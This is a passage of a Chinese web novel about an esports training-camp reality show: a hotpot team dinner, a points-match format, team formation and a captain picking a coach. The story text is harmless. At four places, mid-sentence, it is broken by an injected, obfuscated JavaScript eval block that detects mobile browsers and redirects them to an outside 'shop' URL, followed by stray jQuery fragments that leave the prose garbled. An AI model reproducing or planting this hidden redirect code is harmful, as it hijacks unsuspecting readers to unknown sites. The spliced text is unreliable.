能创新出这种吃法并且风轻云淡全部咽下的人,做什么事情都一定会成功的。
橙花和inBlue就没这么从容了,他们两个生长在火锅发源地的人对这种行为十分不解并且极其愤怒。
橙花拍拍inBlue,故意玩笑着问:“小蓝,这是在吃火锅吗?”
inBlue摇摇头:“可能是习俗不一样吧,我们那吃火锅不放辣是要被人戳脊梁骨的,煮了辣锅还擅自加料更改口味的行为更严重了,叫亵渎。”
“哎,你俩怎么还当人面蛐蛐我吊老师呢?可别当我不知道啊蓝儿,你跟你对象出去还点鸳鸯锅呢,只许州官放火不许百姓点灯啊你这是?我们吊老师蘸点酸奶怎么了?”言戒率先发起进攻。
inBlue不甘示弱:“我对象是我对象!吊老师是我对象啊?”
“你……”
“是你对象啊?”
“我……”
“那不就得了,你要这么吃我也可以碍于情面不做评价。”inBlue做出最后总结。
言戒点点头,气笑了:“行。”
于是他也从旁边拿个碗,征用一瓶江南岸拿来的草莓酸奶往里倒满,在桌上其他人钦佩震撼疑惑的目光中捞起一筷子裹满草莓酸奶的鸭肠,做了半秒思想准备后一口闷掉。
咸辣蘸酸甜的口味可真奇妙,特辣清油火锅和各种香料的味道生硬地与草莓酸奶结合在了一起,他闷闷呛咳了两声,不知道是被辣椒呛的还是被味道恶心到了。
把那口食物咽掉,言戒立马站起身,朝橙花和inBlue一摊手,意思是:怎么着?
“牛逼!有种!”橙花直接举起啤酒罐:“是条汉子!兄弟我敬你一杯!”
言戒拍拍自己的肩膀,朝他比了个大拇指,又看向另一位:
“蓝儿!服了没?!”
inBlue真没话了,他觉得这世界可能是疯了,只好麻木地点点头:“服。跟你的火锅蘸酸奶过一辈子去吧。”
言戒守住了男人的颜面与尊严,心满意足地朝在座各位比个“承让”的手势,重新从锅里捞出一片肉卷,眼看着还要往酸奶里丢。
江南岸微一挑眉,抬手挡了一下碗口:“你有问题?”
“?”言戒确认了一下:“这我自己的碗!”
“我知道……你真打算一直这么吃?”
“不然呢,我春某人说得到就做得到好吧?省得那俩坏蛋再在那蛐蛐你,这你能忍得了?”
“忍得了啊。”江南岸有点疑惑:
“这本来就很奇怪不是吗?”
“我忍不了!”言戒真是要被江南岸逗笑了,他抵开他的手,把肉卷蘸进草莓酸奶里:
“一个人奇怪,两个人不就不奇怪了?没事儿,放心大胆地吃啊吊老师,出去你就说这是咱家乡的习俗,火锅蘸酸奶怎么了?就蘸就蘸!咱争取让全国都普及这吃法!……哎其实味道真还行,没那么玄乎。”
江南岸咬着筷子看着言戒,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14136923|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像是有些不解。
江南岸当然知道自己种这吃法很难令人接受,事实上他做的很多事都很容易让身边人感到疑惑不解,但他向来把那些当耳旁风不去理会,反正旁人怎样说怎样做,对他的生活和选择都不会造成任何影响,他早就习惯了特立独行与不被理解。
这么多年来,他遇到过很多试图改变他让他迎合大众标准的人,但配合他的行为替他分担旁人审判的,这还是头一位。
迟疑片刻,他评价道:
“你这人……真奇怪。”
“多奇怪?”言戒看向他。
“比火锅蘸酸奶更奇怪一点。”
“哇,这么高的评价?”
江南岸轻笑一声,重新开了一瓶酸奶,给他添一半,给自己添一半。
“酸奶有没有蓝莓的啊?芒果的也行,把这点吃完换个口味尝尝。”言戒随口道。
“黄桃的吧。”
“行,我一会儿看看去。”
三个吃不了变态辣的人里有两个找见了中和口味的方式,最后一位盛豫加看看那俩人飘起红油的酸奶碗,最终还是缺了点意志与勇气,但他从中获取了灵感,他去接了一碗清水,把煮好的食物在水里涮一涮再多蘸点蘸料,倒也勉强能吃。
五个人坐在闻着味都呛人的变态辣锅旁边,倒也奇招百出达成了微妙的和谐。几个人有一搭没一搭闲聊着,片刻,言戒看了眼坐在江南岸另一边的盛豫加,问:
“盛老师,你跟小山老师是老朋友啊?”
盛豫加没想到话题会突然点到自己,他愣了一下才点点头:“是吧,认识几年了。”
听他们说起这个,橙花突然想起一节:“我知道!你俩是不是一起演过电视剧?我好像看过,你演了个警察是不?”
盛豫加点点头:“刑侦剧,小山……算是其中一个案件里的被害人。”
“哟。”言戒笑了两声,有点兴趣:“什么样的被害人?”
“多多的,碎碎的。”
“啊?”
江南岸看着他,没有立马解释,只从火锅里捞出一块脑花放进言戒盘子里:
“装了好几个塑料袋,炖了好大一锅……就跟这个差不多吧。”
“太过分了吧!”言戒把那块脑花蘸蘸酸奶送进嘴里,义愤填膺:
“谁杀的啊?怎么能这么对你?!”
“一个变态。不小心撞到他重返凶杀现场。”
“这么刺激?没报警吗?”
“来不及,没跑掉。”
“那下次得千万小心点,盛老师给你讨回公道了吗最后?”
“嗯,把他枪决了。”
“那你尸体还能找全吗?”
“找不全了,被吃得差不多了吧,盛老师给我立了个衣冠冢。”
“不愧是人民警察真是善良又可靠啊盛老师……哎那脑花还挺好吃就是煮碎了捞捞锅里边儿还有吗?”
“……”桌上另外三个人盯着他们,无语凝噎,不约而同地放下筷子,安静得像一幅画。
俩神经病能凑一起,还真不容易。
18.有信任之战。
初秋的夜晚十分凉爽,室内飘满了火锅热腾腾的味道,好几桌人说笑闲聊,之后有个歌手带头领了首歌,餐厅中的氛围一时温馨又热闹。
后来,等大家都吃得差不多了、火锅关了火、众人情绪平静下来、团建快要散场之时,节目组PD突然出现,宣布了今天这场团建的真正目的。
“大家入营也有两周了,相信大家已经渐渐习惯了现在的生活节奏,也在召唤师峡谷学到了很多东西。当然我们知道日复一日的练习肯定是比较枯燥无聊的,所以,我们的训练即将进入下一阶段——常规积分赛。”
PD从训练室推了个显示器出来,液晶屏幕中的PPT为大家清晰展示了常规积分赛的赛制。
言戒靠在椅背上,笑着叹了口气:“唉,就知道这顿火锅不能白吃。”
“我们根据各位选手入营两周的训练赛表现为大家在班级内大致划分了‘上下’两个等级,如A上A下,以此类推,每档五人。需要说明的是,本次评级为A上的五位选手不参加常规积分赛,他们将以助教身份加入各队,因此我们常规积分赛每支队伍的配置将是A下至C下五种评级各一人,A下选手自动成为每队队长,其他选手则由抽签决定自己将加入的队伍。”
PD将PPT往后翻过一页:
“积分赛每周一轮,一共六轮,也就是一个半月。每轮比赛,各队将依次挑战其他四队,个人积分按局内表现评分从高到低计算,分别为10分、8分、6分、4分、2分,败者队只有基础积分,胜者队积分在此基础上每人叠加一倍。六轮积分赛结束后,积分总排名在最后五位的选手将离开我们的训练营。大家听懂了吗,如果有问题,现在可以开始提问了。”
PD给的PPT挺一目了然,讲解也挺清晰,江南岸大概看明白了。
意思就是去往下一阶段淘汰赛的席位只有二十五个,A班前五名算是保送生,可以直接进入下一阶段,剩下二十个席位则要靠其他选手在积分赛中用个人积分争取。
赛制讲解完毕,PD调出了A上五位保送生的名单,言戒和蔡征都在里面,让江南岸有点意外的是inBlue居然没进A上,但想一想倒也合理,毕竟A班严格来算其实能分三层,金字塔尖上的两位顶级打野自然不用说,底下则是他这个娱乐圈业余选手和娱乐主播潇洒哥,至于中间那六个人,说实话,水平相差不多,A上和A下估计也就是局内临时几个高光几个失误的区别罢了。
“哎,吊老师。”
正在江南岸盯着PPT琢磨赛制时,身边的言戒突然悄悄靠过来,朝他扬扬眉,小声问:
“我一会儿选你,给你当助教怎么样?”
“?”跟言戒相处半个月,江南岸对这人还算了解,他猜言戒这句话后等着的绝对不会是什么好屁。
为了避免这货爽到,他从根源上杜绝了跳坑的可能性,冷酷道:
“不用了,谢谢。”
“真的假的?不要我?真不要我?我都背叛我小蓝儿来投靠你了!”
江南岸立马望向inBlue:“蓝老师。”
inBlue正摘葡萄吃,突然被点名还愣了一下:“啊?”
江南岸无情告状:
“言戒说要背叛你,非要我求他给我当助教。”
“哎你这人还添油加醋呢?”言戒好笑道:
“让你求我是下一趴,我还没提呢,你怎么还主动剧透了?”
inBlue看着言戒那死样子,翻了个大大的白眼,完事朝江南岸摆摆手:
“领走吧领走吧,从他入营选关键词拿了个‘颜值’的那一刻开始我俩就不是一个阵营了。这种说得比唱得好听却身在蓝营心在岸的两面派,不要也罢。”
“啊——”江南岸拖长声音,尾音向下,听起来好像特别失望。
言戒深吸一口气靠住椅背,两手捂着自己的心脏无法释怀。
橙花快笑疯了,他猛拍言戒的肩膀:
“坏了啊我春!越混越完蛋了,变万人嫌了这是,说出去多难听啊!Spring都没人要了!”
言戒抽了张餐巾纸,擦了擦干燥的眼角:
“不服老不行啊花儿,曾经我春某人也是千万签约费看都不看一眼的用手法称霸峡谷用颜值征服世界用人格魅力统治地球的男人,如今免费给人当助教都遭嫌弃了,我真傻,真的,吊老师就仗着他好看随便伤小春的心——”
“春儿啊——”
“花儿啊——”
二人抱头痛哭。
“没关系啊春儿,他们嫌弃你,爸爸要你!爸爸的肩膀永远是你最温暖的港湾!还有我要告诉你一件事你想得太美了去谁队你是没有选择权的,规则得人队长来选你,坏了啊春儿这回连霸王硬上弓都没机会了你是真没人要了——”
“。”
“等等。”言戒接连遭受打击,立马推开橙花重新回去跟江南岸谈判:
“真不打算选我啊吊老师?Spring价格公道童叟无欺,选到就是赚到懂不懂!”
“哦。”江南岸瞥了他一眼,顺势翘起二郎腿,拿着茶杯慢悠悠喝了一口,赏他一句:
“你求求我啊。”
这一招以其人之道还治其人之身实在是妙,言戒给江南岸挖的坑最终由他自己一路滑到了底,但他本人对此接受良好,立马笑眯眯给江南岸添上茶,一副狗腿做派:
“求求你了吊老师,给小春一个机会,小春爱你。”
“嗯。”江南岸扬扬眉:
“别恶心,考虑一下。”
他们这戏精飙戏的时间里,节目组已经完成了各组的分队抽签,由PD公布分队结果:
“一队队长inBlue、队员盛豫加……二队……四队队长江南岸,队员秦华、莫妮卡、Fire、放放。五队队长潇洒……好了,各队名单公布完毕,现在五个临时战队的队长可以召集你们的队员进行一个简短的会议,目的是队内初步了解,以及确定你们想邀请的助教人选。本环节限时十五分钟,十五分钟后各队队长请将拟邀请助教写在纸条上交给工作人员,如有多选一的情况,助教将进行反选。还有问题吗?”
选手们纷纷表示明白,十五分钟计时开始,工作人员给江南岸递了个小牌子,上面写着“四队”二字,要他抬手举高一点,这样他的队员们也好快速集合。
临走前,言戒稳稳坐在椅子上笑着看着江南岸,跟他说:“加油,小山老师。”
被迫开始社交的小山老师略显伤感地叹了口气。
队员集合完毕,江南岸带着他们去了临时分配的四队训练室,五个人各自拉着椅子坐下,可会议开始的一分钟内竟无一人主动开口。
江南岸来参加这个节目,原本只是想安安静静地当个透明人,谁想这赛制直接让他摇身一变成了队长。本着认真工
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14149871|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作要敬业要对队友负责的原则,江南岸略一犹豫,从外套口袋里摸出一副金丝眼镜折开架在鼻梁上,而后起身去旁边拉了块白板:
“大家要不要先介绍一下自己?我叫江南岸,A班,最高段位宗师,常用位置是中单。”
说实话,面前这四个人,江南岸一个都不认识,顶多听过其中几位的名字,所以“自我介绍”这个环节对他来说必不可少。
他打开白板笔,先把自己的名字和分路写在了上面。
他写完后,坐在最左边的青年先开了口:“秦华,B班的,最高钻石,上单。”
之后是个染着橙发的年轻男生:“Fire,叫我火火、小火,阿火都成,C班的。段位……铂金左右吧,我玩上单,ADC也能打,其他位置不行。”
留着黑色长卷发的女孩看看Fire又看看江南岸:“江老师好,我叫莫妮卡,B班的,最高只上过钻石,是中单。”
最后是个戴着黑框眼镜的瘦小男生:“大家好我叫放放……C班的,现在差不多在白银,我可以玩中单和辅助。”
江南岸把五个人的班级和分路全部列出来之后就发现一个十分严峻的问题——他们没有打野。
但这个问题可以稍微往后放,江南岸推推眼镜,问:
“……我们似乎没人能打野,AD也有点勉强,这意味着有人得转位置,临时换位置的话……我们最好能请到一个打野或者ADC来做助教。现在A上评级中只有Spring和蔡征两个人是打野位,AD只有芳菲,你们觉得邀请谁好一些?”
虽说Spring事先跟江南岸通了气让他选自己,但这种关乎团队的事情,江南岸肯定得先问过队友的意见。
“没人打野的话就找个打野助教吧,AD我还能玩一玩,打野零基础还没人教的话太虐了。”Fire先发表了意见:“我投Spring一票。”
秦华想了想:“我觉得蔡征可能会好一点,他的运营思路很强,之前的团队赛他还赢了Spring不是吗?”
莫妮卡用手指绕绕自己的卷发:“我也投Spring一票,但你们有没有想过,Spring人气那么高,其他队肯定也想选他,多选一情况出现的话,等他拿到反选权他不一定会选我们。到时候万一蔡征被选走了,分给我们的助教不就不对口了?”
放放弱弱举手:“我觉得卡卡姐说的有道理,要不我们还是选蔡征老师?”
人一多,讨论起来就容易乱,每个人的想法都不一样还都试图说服对方,这就导致十五分钟的会议时间结束,工作人员拿着纸条来敲门,他们却还没商量出个结果来。
最后还是Fire一拍手:
“得了,这样吧,咱不吵了,选择权交给江哥,江哥你看俩打野谁顺眼选谁吧,能抢到就是天神眷顾,抢不到听天由命也没事。”
江南岸点点头,从他手里接过纸条,拔开笔盖准备落笔时,他想想那两位打野,又想想队员刚才的讨论,陷入些许迟疑。
来之前,言戒表示过想到他这里来,但问题是……言戒在他这里的形象实在太不靠谱,江南岸不确定他先前那番到底是真情实感还是嘴上说说,又会不会在自己选择他后把这当成一场玩笑转头跑去别人那里。
纠结片刻,一直等工作人员开口催促,江南岸才像是下定了某种决心,匆匆在纸条上写下一个名字,把它折一折,交了上去。
19.有人察觉了蛛丝马迹。
言戒跟其他四位准助教以及教练团围坐在餐厅东区的沙发边,闲聊着等待那边五支临时战队出结果。
十五分钟说长不长说短不短,很快,工作人员就收齐了五队的纸条过来交给节目主教练橙花。
橙花拿着五张纸条,挨个打开放在中间的茶几上,亮给其他人看,边调笑一句:
“可以啊我春教,人气够高的啊。”
五张纸条中,有三张都写着“Spring”。
“嗐,那么惊讶干嘛?意料之中的事儿嘛,唉年轻人等以后见多这种大场面就习惯了,不怪你昂。”言戒摆摆手,等日常骚话环节过去之后,他话锋一转,问:
“哪三个队啊?”
PD跟工作人员确认过后,答:
“二队、四队和五队。你可以去跟三位队长私聊一下再做决定,也可以现在就做出选择。”
“私聊?不用了。”言戒拿起其中一张纸条。
墨蓝色的钢笔墨水落在米色纸张上,“Spring”六个字母连在一起,笔锋潇洒有力,带着点花体的味道,十分赏心悦目。
言戒垂眸盯着那字迹看了几秒,动动手指把纸条翻了个面亮给PD看看:
“这是四队的吧?”
看见PD点头,言戒轻笑一声:
“不磨叽,就它了。”
一至五队的队长上交各自的选择纸条后,接下来的时间便是在训练室内安静等待最终结果。
江南岸坐在白板旁边,微微低着头,金丝眼镜滑到了鼻梁也没去管。他白皙修长的手指夹着一支有点陈旧的钢笔,泛着金属冷光的笔杆随着他手指的动作在指间打着转。
四号战队的其他四位队友聚在白板另一边,江南岸离他们稍微有点远,他们闲聊的话题自然也就很难扯到他身上。
训练室墙面上的常亮屏幕里显示着此刻的时间,秒数随时间流逝一下下跳动着,江南岸略微有些出神。直到他们训练室的门被人从外面敲响,江南岸下意识望去,下一秒,门被推开,缝隙越来越大,最终,江南岸看见了一张笑眯眯的脸。
“哈喽各位?”
言戒进来时带上了门,边笑着打了个招呼。原本背对门口的四位队员同时回头,等看清是Spring后,他们欢呼的欢呼鼓掌的鼓掌,以表对助教的欢迎之情。
言戒挨个望过去,最终看向江南岸。
而江南岸和他对视一秒,抬手推了推眼镜,从椅子上站起身,走过去跟他握了下手,边冲他温和一笑,道:
“欢迎。”
言戒看着他脸上那陌生的笑容,微一怔神,大概是为了表示疑惑,他朝江南岸扬了扬眉。
但江南岸没有理会他,只率先挪开视线,放开了他的手。
言戒跟四队几位队员简单认识了一下,大概了解了队内每个人的情况。
今天的时间也挺晚了,江南岸深知打工人对于加晚班的怨气,因此在队内简单讨论过后,他扫了眼墙上的时间,推推眼镜道:
“时间差不多了,不然今天就先到这?”
江南岸语调清冷温和,顿了顿,他道:
“积分赛期间我们还是得参加班级常规训练,只有周一三五的下午可以组织队内集训。今天周天……那周一也就是明天下午我们按平时训练时间准点在这间训练室集合,有问题吗?第一轮比赛就在下周天,我们看情况再安排夜晚以及周六加练,可以吗?没有问题的话可以散了,都回去休息吧。”
话已经说这么清楚了,问题是不会有了,四个人跟自家队长和助教告了别,闲聊着离开了训练室。
人走了大半,室内一时安静下来,冷色灯光从头顶落下,在地面洒了一片片浅淡的投影。
江南岸倚在桌边站着,一手朝后撑着桌沿,一手转着钢笔,没说话,只静静地抬眼望着白板上的字迹,不知是在放空出神,还是在想什么事。
言戒就双手抱臂站在边上看着他。
可能是感受到了他的目光,江南岸眨了下眼,抬手取掉了鼻梁上的眼镜,微微侧过脸瞥了言戒一眼:“你不走?”
言戒轻笑一声:“你不是也没走?”
“我在思考。”
“我也在想事儿啊,来,既然都有困惑,那咱要不要交换一下各自的问题?”
江南岸折好眼镜,把它和钢笔一起装回口袋里,抬眸与言戒的笑眼对视片刻,才挪开视线:
“你先问。”
“真的?”言戒往江南岸身边靠了一些,边歪头打量着江南岸:
“……我在想,吊老师,你是不是有什么第二人格之类的东西?这眼镜一戴就跟换了个人似的,眼神语气都不一样了,说话风格都变了。哎,现在这眼镜一摘,我吊老师又回来了!这什么原理啊,可真神奇,给我解个惑呗?”
刚进门时言戒看江南岸的第一眼就直觉这人的气质似乎有点微妙的改变,但他只以为是自己的错觉,直到江南岸过来主动和他握手甚至还冲他笑了一下。
言戒人都懵了,第一个念头就是坏了这是换芯子了还是自己穿去平行世界了?
这之后,他就一直在观察江南岸的举动,发现他的语言不仅理性周全不少,甚至加了许多“可以吗”“要不然”之类温和的词汇。这实在太震撼,毕竟言戒跟江南岸坐一起当了半个月同桌,类似的词从来没从他嘴里听到过。
言戒长这么大活了快三十年,从来没见过哪个人能在这么短的时间里给人截然不同的两种感觉,细到连微表情和小动作都有改变,而这两种风格切换的契机居然仅仅只是鼻梁上的一副眼镜。
“首先,我没有解离性人格障碍,其次,”江南岸抬手指指自己,微一挑眉:
“我是个演员。”
“瘾这么大,跟队员聊个天也要演一演?”
“嗯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14162292|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我是戏精,就爱演戏,不演就浑身难受会口吐白沫身亡,不可以?”
“可以——”言戒乐了,暂时放下了这个话题:
“那你又在想什么?”
“……”江南岸朝面前的白板扬了扬下巴:
“想,一轮游不再是梦,谁能在一周内化身新晋野王。”
“不至于。”言戒失笑:
“毕竟是抽签分队,说实话其他队也撞位置,但你们这确实格外衰。AD还勉强能凑一个,野是真没人能打啊?”
江南岸叹了口气,可能是觉得室内有些闷,他拉了拉自己的班服外套,转身走向了训练室的阳台。
影视园区内的绿化做得很好,一推开天台的门,植物清新微苦的香味就随着夜风一起扫了过来。
初秋的夜晚凉意深重,江南岸深吸一口气,趴在天台围栏边远眺临云的夜。
言戒走过来,站在他身边,顺着他的视线和他一同望向夜空的星星。
沉默片刻,言戒问:
“一轮游不是梦……你之前不是说挺想被早早淘汰吗?现在看着怎么又不高兴了?”
“团队游戏,我是队长,得对队友负责吧。”江南岸理了下头发,淡淡道。
言戒借着背后玻璃映出的训练室灯光望着江南岸,似乎有点意外他会给出这样一个答案。
半晌,他轻笑一声:
“我们吊老师还挺有团队精神。”
“怎么?在你心里我是什么刻薄阴险狡诈自私为一己私欲赛场明演的小人吗?”
“哪儿能啊,吊老师在我心里跟朵花儿似的。”
言戒摸摸口袋,掏出个烟盒在手里转了下:
“介意吗?”
江南岸瞥了他一眼,轻轻摇摇头。
言戒这就叼出一根香烟,低头凑在打火机边点着,偏头吐出第一口烟雾,语气散漫:
“其实没那么悬,吊老师,你都选我了,我还能辜负你啊?”
“嗯?”江南岸微一挑眉。
“我觉得吧……”
说着,言戒右手夹着烟离开唇齿,随着话音朝江南轻轻一晃。
这原本只是个完全下意识的、十分自然的动作,江南岸却突然反应很大地朝旁边躲了一下,那动作甚至有一瞬的踉跄,似乎只有抓住围栏才能勉强站稳。
言戒没预料到他会有这种反应,愣了一下,把烟换到左手才问:“怎么了?”
江南岸脸色不大好看,他看看燃着火星远离自己的香烟,又看看言戒,才摇摇头:“没什么,你刚要说什么?”
“哦……就是想说,你觉得你能不能是那位新晋打野?”
言戒见江南岸岔开话题,便也配合地没再多问,只随手按灭了那支刚点燃的烟,道:
“世界第一野王Spring缺个关门弟子,现觉你骨骼惊奇来日必成大器,怎么样,考虑考虑?”
20.有人鬼鬼祟祟。
江南岸并没有对言戒这话感到太意外,他只问:
“为什么觉得我能胜任这个岗位?”
言戒一手握拳碰碰自己的肩膀:“那必须得是因为信任啊。”
江南岸并没有被他这份信任打动:“您的信任好像有些眼聋耳瞎了。”
“那不能吧。”言戒扬起唇角:
“您听小春给你分析一下啊,首先你队友这个配置,是没人能补上单的,那你们队里那位B班上单肯定没法动了。剩下那几个人又有谁能去练打野?C班那两位的首要目标是打好自己的位置,叫他们去练个新位置实在太难为人了,那人选就只剩你跟内中单妹妹了。”
江南岸静静听着他的分析,点点头:“然后呢?”
“我感觉吧,咱要是田忌赛马,就上最强的把一个位置打穿也有赢面,但太险了,而且不瞒你说,我看过那妹妹的对局,我觉得你换打野比她划算的原因之一,是你爱玩刺客,但她爱玩工具人,而且玩得还不错。”
言戒把刚才那半支烟随手丢进垃圾桶,拍干净手上的灰尘,道:
“打野这位置说难是难,说简单也简单,只要熟悉了英雄和你脚下的峡谷,思路清晰知道什么时候该干什么就足够了,至少在这地方小打小闹的是够用。我们吊老师那么聪明那么冷静那么会操作,区区打野位难不住你。哎说来其实我觉着你真挺适合打野的,一开始玩的时候没考虑过吗?怎么就一直玩中单了?”
晚风路过,江南岸微微眯起眼睛,答:
“以前接过一部戏,讲烈焰圣杯电竞的,我演的那个角色在战队里打中单位。”
“哦——”言戒懂了:“为了了解角色才玩的中单?塞壬呢?也是因为那角色常用,你才把她练成那样?”
江南岸沉默片刻,轻轻摇了下头。
“那为什么啊?”言戒饶有兴趣地偏头看着他。
江南岸对上他的视线:“你问题太多了。”
“我好奇嘛。老师,给小春解解惑。”言戒笑得露出他侧边那颗尖尖的犬牙。
“……”江南岸大概是稍微犹豫了一下,才道:
“因为她的台词。”
“哪句?”
“很中二,不想念。”
“天知地知你知我知。”
“就是因为你知才出大问题。”
“哇这话说的,咱俩谁跟谁?”
“我们只是队长和助教的关系,Spring先生不要越界了。”
“好好,行行,我来猜行了吧……哦,是不是那句?”
说完,言戒突然直起身子,摆弄着他僵硬的四肢模仿塞壬某皮肤海报里妖娆的动作,边用精心夹过的声线棒读道:
“海浪中的旅人,于吾的歌声中消逝吧!”
说完还自己加了戏,回眸朝江南岸抛了个媚眼。
“……”可能是被震撼到了吧,江南岸下意识后退了两步。
片刻,他微微偏过头,看唇角扬起的弧度,似乎是没忍住轻轻笑了一下。
“哟,终于笑了?”言戒收好做作夸张的姿态,弯起眼睛看向江南岸。
“没有。”江南岸推开他,自己进了训练室:“我是经过专业训练的,轻易不会笑。”
“真的假的?我刚进来那阵你跟我握手的时候可还朝我笑了,笑那么好看,魂儿都给我笑没了。”言戒没个正形,跟在江南岸旁边逮着机会就要逗他两句:
“我明白了,看见我进来高兴得不能自已了是吧?唉,我懂,都怪我太有魅力。”
江南岸深吸一口气,为他鼓掌,尽显敬佩:
“出去找辆劳斯莱斯把车标掰了你站上去吧,给自己贴那么多金,别浪费了。”
-
节目组这赛制一点也不当人,时间紧张得要命,每周一轮积分赛,每队每轮打四场BO1,一共六轮,也就是二十四场BO1决定了五队二十五位选手的去与留,可留给选手们的训练时间又少得可怜,每周只有三天下午可以组织队内集训,眼见着第一轮积分赛就要开始,五个临时组成的战队几乎都在加班加点地练战术和配合,江南岸带的四队也不例外。
言戒这朵老交际花偷偷去其他四个队打探过情况,回来之后就告诉了江南岸一个很不幸的消息——客观来看,他们四队的实力应该是五支临时战队中垫底的那个。
原本A下评级的五位选手实力就有差距,唯一跟江南岸不相上下的就是潇洒哥,但潇洒哥比江南岸多出那么点运气,他们战队五个人居然没撞位置,而且队内中野和AD三人是多年好友,打起配合来就要默契很多。
反观他们四号战队,五个人一盘散沙,配合满地漏洞,前途一片黑暗。
以这种状态去打比赛肯定不行,没办法,江南岸只能安排周六加练,从早练到晚,效果却也不尽人意。
又一局训练赛以惨败收尾,江南岸隔着鼻梁上的平光眼镜看了眼训练室外暗沉的天空,摘了耳机道:
“今天就到这里吧,大家先回去休息,明天正式比赛加油。”
“好耶!辛苦了哥!”Fire第一个从座位上跳起来,张着手臂伸了个大大的懒腰。
江南岸瞥了他一眼:“Fire?”
“怎么了哥?”Fire突然被点名,愣了一下。
“今天早晨你为什么迟到了三十五分钟?”
Fire似乎都把这回事给忘了,挠挠头才答:“哦……我早上起晚了,不好意思啊哥。”
江南岸点点头:“下午也迟了十三分钟。”
“呃……下午那会儿是肚子有点不舒服,多在厕所蹲了一会儿。”
“下午第二局游戏结束你中途离开训练室,让队友等了二十四分钟?”
“……那把被打爆了,有点emo,出去抽了会儿烟,不好意思给哥哥姐姐添麻烦了。”
江南岸没再说话,其他队友见状也没吭声。
言戒靠在电竞椅里,原本正在看报纸,闻言悄悄把报纸往下挪挪,偷偷看看Fire,又看看江南岸。
“没事,”江南岸轻轻皱了下眉,道:
“明天比赛别再迟到了,有空的话今晚再练练英雄,还有你的补兵。 ”
“好嘞哥!”Fire没在江南岸脸上看见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14173382|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生气的痕迹,心里一松,高高兴兴拎着外套走了,其他队员也陆续离开了训练室,只有江南岸一个人靠在电竞椅里,望着屏幕中大大的“失败”二字出神。
之后,他很轻地叹了口气,正正椅子,退出了游戏房间,切换了账号,直接进入单排队列。
“还练啊?”旁边突然插进一道声音,言戒拉开江南岸旁边的椅子坐下,问。
“嗯,明天就比赛了。”江南岸摘了眼镜,随手把它放到一边。
“吊老师刚怎么不凶点?我可看出来了,那小朋友贪玩得很,心思就不在游戏上,玩个ADC全程梦游,不听指挥容易上头,兵能漏出去一个连,你就是拿平时跟我聊天那百分之三十的刺挠劲儿出来说他两句,他今晚都得良心不安住在训练室。你这温温柔柔的,猜他刚有没有把你那话听进去?今晚会不会来加练一下?”
言戒撑着脑袋,看着江南岸被电脑屏幕镀出浅浅一层荧光的侧脸。
江南岸连眼皮都没抬一下,语气淡淡:
“听没听进去有什么区别,练不练和我也没有关系,作为队长,话说到就行了,再凶要崩人设了。”
“哟,这么严谨呢?”言戒笑了一下,倒也没再说什么,只随手打开了面前的电脑。
江南岸这边已经进了BP,他随便Ban了个英雄,抽空看了言戒一眼:“你还不走?”
“不走。”言戒伸了个懒腰:
“我可是助教,当然是我小队长练到几点我就陪到几点了。”
说着,他扫了眼江南岸的电脑页面:
“这局可以拿塞壬。”
“我打野位。”江南岸强调道。
“可以啊,塞壬打野,你试试嘛。”
“?”江南岸不确定地看着言戒,似乎在努力辨认他这句话是认真还是玩笑。
言戒被他看乐了:
“没逗你,理论上塞壬是可以打野的,有位移有爆发,凭什么不能打野?选就完了。”
江南岸半信半疑地盯着电脑,最终还是在选将倒计时的最后一秒锁定了塞壬,把召唤师技能换成了惩戒。
“出门可以打个一级团,赢了可以试着入侵野区,输了也没事,跟中单做好沟通让他照应着点,打个中野联动,前期几个大虫子能打尽量打,这局阵容拖不了后期,前期拿到优势放手干就完了。”
言戒简单交代几句,看着江南岸进入游戏、跟队友打完一级团,点点头:
“对,就这么玩,认真打啊吊老师,在别人家野区小心点,别分心,黑暗里随时可能有坏人跳出来要你性命,我不在的时候可千万保护好自己啊!”
江南岸眉心直跳:“……闭嘴。”
“好好。”言戒嘴里答应着,边将手放上鼠标,点开了桌面的浏览器。
